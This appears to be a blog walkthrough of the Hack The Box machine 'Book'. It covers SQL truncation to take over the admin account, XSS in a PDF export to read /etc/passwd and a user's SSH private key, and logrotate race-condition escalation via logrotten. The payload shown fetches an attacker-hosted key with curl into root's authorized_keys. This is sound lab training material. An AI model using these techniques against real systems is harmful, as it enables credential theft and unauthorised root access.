Book - HackThebox

Book is a medium difficulty Linux machine on Hack The Box in which we'll take advantage of PDF generator in order to read an arbitrary file and exploit logrotate to escalate to root.

Information gathering#

Let's run a quick port scan:

$ nmap -A -T4

Starting Nmap 7.80 ( ) at 2020-04-19 20:16 EDT
Nmap scan report for
Host is up (0.078s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
|   256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_  256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The only accessible thing is the HTTP server on port 80, so let's visit it:

As we can register, let's do it and login:

Exploring the website#

It's a library website, one thing that may be useful later is a mail found in the Contact Us page:

Another interesting functionality is an upload in the Collections section that allows us to upload a new book to the library:

After uploading a .pdf file, this is the result:

Further exploration#

Let's run a quick discovery with ffuf:

$ ffuf -c -r -ac -w /usr/share/wordlists/raft-large.txt -u

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/


 :: Method           : GET
 :: URL              :
 :: Follow redirects : true
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response size: 277
 :: Filter           : Response words: 20
 :: Filter           : Response lines: 10

admin                   [Status: 200, Size: 6291, Words: 377, Lines: 308]
index.php               [Status: 200, Size: 6800, Words: 461, Lines: 322]
search.php              [Status: 200, Size: 6800, Words: 461, Lines: 322]
profile.php             [Status: 200, Size: 6800, Words: 461, Lines: 322]
download.php            [Status: 200, Size: 6800, Words: 461, Lines: 322]
home.php                [Status: 200, Size: 6800, Words: 461, Lines: 322]
contact.php             [Status: 200, Size: 6800, Words: 461, Lines: 322]
logout.php              [Status: 200, Size: 6800, Words: 461, Lines: 322]
feedback.php            [Status: 200, Size: 6800, Words: 461, Lines: 322]
.                       [Status: 200, Size: 6800, Words: 461, Lines: 322]
db.php                  [Status: 200, Size: 0, Words: 1, Lines: 1]
settings.php            [Status: 200, Size: 6800, Words: 461, Lines: 322]
books.php               [Status: 200, Size: 6800, Words: 461, Lines: 322]
collections.php         [Status: 200, Size: 6800, Words: 461, Lines: 322]
admin                   [Status: 200, Size: 6291, Words: 377, Lines: 308]
.                       [Status: 200, Size: 6800, Words: 461, Lines: 322]

/admin is another login.

Truncation attack#

While doing some common enumeration stuff, I noticed something interesting. I've registered an account using a long mail address, and the login suddenly wouldn't work. Some in depth fuzzing allowed me to discover that there's a mail length limit of 20 characters, so if we register with, the part will be omitted. Probably the backend uses the TRUNCATE SQL function.

This is a serious problem because we can register using admin@book.htb foo as mail and foo will be truncated and the remaining spaces will be trimmed.

Let's fire up burp and, after intercepting the registration request, let's modify it like this:

And now we can login to /admin using admin@book.htb as mail and admin as password:

The admin panel allows us to export the list of users and the list of collections as a PDF:

And this will be the exported PDF:

I was doing some testing and when I tried to use <h1>Bold test</h1> as the book title in the user section of the website, this is the resulting exported Collections PDF from the admin section:

Arbitraty file read#

Great! Let's see how we can exploit this! Here's an article that helped me a lot.

Let's try to use this payload as title in the user section:

x=new XMLHttpRequest;

And let's export the Collections PDF from the admin section:

We can see that there's a user called reader. Let's try the same thing but for /home/reader/.ssh/id_rsa instead of /etc/passwd:

The only problem here is that it's not so easy to copy and paste, as long lines are overflowing outside of the PDF. Luckily there's a handy script that can help us called

So let's run 36801.pdf > id_rsa, and after replacing tabs with spaces we can try to login in as reader using the RSA key:

$ ssh -i id_rsa reader@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:QRw8pCXg7E8d9sWI+0Z9nZxClJiq9/eAeT/9wUfoQQk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)

 * Documentation:
 * Management:
 * Support:

  System information as of Mon Jul 13 19:05:03 UTC 2020

  System load:  0.11               Processes:            148
  Usage of /:   26.5% of 19.56GB   Users logged in:      1
  Memory usage: 22%                IP address for ens33:
  Swap usage:   0%

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:

114 packages can be updated.
0 updates are security updates.

Failed to connect to Check your Internet connection or proxy settings

Last login: Wed Jan 29 13:03:06 2020 from

And we're in! Let's see if we can read the user flag:

reader@book:~$ wc -c user.txt
33 user.txt

Privilege escalation#

Running the enumeration script on the machine, we notice an interesting entry:

[+] Writable log files (logrotten) (limit 100)
Writable: /home/reader/backups/access.log

The vulnerability that affects logrotate is a race condition, in which we are able to write to any file that the logrotate process has the permission to, and it is explained here really well.

We will use it to write out malicious payload to /etc/bash_completion.d, which contains some scripts that bash runs upon any login.

Let's download and compile the logrotten exploit:

$ git clone && cd logrotten
Cloning into 'logrotten'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 87 (delta 0), reused 1 (delta 0), pack-reused 84
Unpacking objects: 100% (87/87), 416.19 KiB | 1.07 MiB/s, done.
$ gcc -o logrotten logrotten.c

To copy it on the machine, we can start a HTTP server with python3 -m http.server 1337 on our machine and download it on the remote machine with wget

After generating a key with ssh-keygen on our machine, let's save on the remote machine the payload that will download it and add it to the authorized keys of root:

curl >> /root/.ssh/authorized_keys

Let's run the exploit:

reader@book:~$ ./logrotten -p ./payload backups/access.log
Waiting for rotating backups/access.log...

We now have to trigger the log rotation. We can do something like echo test >> ~/backups/access.log until we see this message from logrotten:

Renamed backups with backups2 and created symlink to /etc/bash_completion.d
Waiting 1 seconds before writing payload...

As soon as we see the connection on our HTTP server we know that the payload has been executed, so let's connect with ssh:

root@book:~# wc -c root.txt
33 root.txt

And here we go! Thanks for reading!